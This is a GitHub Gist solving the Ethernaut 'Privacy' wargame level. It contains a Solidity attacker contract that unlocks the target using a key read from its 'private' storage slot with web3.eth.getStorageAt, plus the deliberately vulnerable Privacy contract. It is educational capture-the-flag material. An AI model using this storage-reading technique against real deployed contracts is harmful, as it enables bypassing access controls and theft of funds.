Last active
January 17, 2022 20:19
-
-
Save tennisonchan/91d36ed4511b8d3b90762f469211fe86 to your computer and use it in GitHub Desktop.
Ethernaut - Level 12 - Privacy https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788B
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import "./Privacy.sol"; | |
contract Controll { | |
Privacy public target; | |
constructor(address targetAddress) public { | |
// 0x3C3231f89DeC634f028e25d899e307e185E2c4c7 | |
target = Privacy(targetAddress); | |
} | |
function forceUnlock() public { | |
// run the following code to get the data at index 5 | |
// await web3.eth.getStorageAt(contract.address, 5) | |
bytes16 _key = bytes16(bytes32(0x5ca1ede209d609a1b9215e42e840ff33b6ab11c8ae88bbf8c24c7d0feb61b22c)); | |
target.unlock(_key); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Privacy { | |
bool public locked = true; | |
uint256 public ID = block.timestamp; | |
uint8 private flattening = 10; | |
uint8 private denomination = 255; | |
uint16 private awkwardness = uint16(now); | |
bytes32[3] private data; | |
constructor(bytes32[3] memory _data) public { | |
data = _data; | |
} | |
function unlock(bytes16 _key) public { | |
require(_key == bytes16(data[2])); | |
locked = false; | |
} | |
/* | |
A bunch of super advanced solidity algorithms... | |
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` | |
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., | |
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ | |
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) | |
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU | |
*/ | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment